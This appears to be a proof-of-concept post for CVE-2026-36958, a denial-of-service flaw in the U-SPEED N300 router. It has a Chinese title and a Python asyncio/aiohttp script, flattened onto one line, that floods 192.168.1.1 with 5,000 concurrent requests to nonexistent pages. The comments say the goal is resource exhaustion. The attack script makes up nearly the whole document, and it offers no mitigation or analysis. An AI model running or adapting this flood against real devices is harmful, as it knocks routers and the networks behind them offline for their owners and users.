CVE-2026-36958 U-SPEED N300路由器拒绝服务漏洞

import asyncio import aiohttp # Target configuration TARGET_URL = "http://192.168.1.1/" # Total number of requests to send TOTAL_REQUESTS = 5000 # Concurrency level CONCURRENCY = 100 async def send_request(session, i): try: # Target a non-existent endpoint to potentially trigger heavier processing paths url = f"{TARGET_URL}/vuln_test_{i}.html" async with session.get(url, timeout=aiohttp.ClientTimeout(total=5)) as response: await response.read() except Exception: # Ignore connection errors or timeouts as the goal is resource exhaustion pass async def main(): print(f"Starting DoS PoC against {TARGET_URL}") connector = aiohttp.TCPConnector(limit=0, ttl_dns_cache=300) async with aiohttp.ClientSession(connector=connector) as session: tasks = [] for i in range(TOTAL_REQUESTS): task = asyncio.create_task(send_request(session, i)) tasks.append(task) # Control concurrency if len(tasks) >= CONCURRENCY: await asyncio.gather(*tasks) tasks = [] if tasks: await asyncio.gather(*tasks) print("PoC execution finished.") if __name__ == "__main__": asyncio.run(main())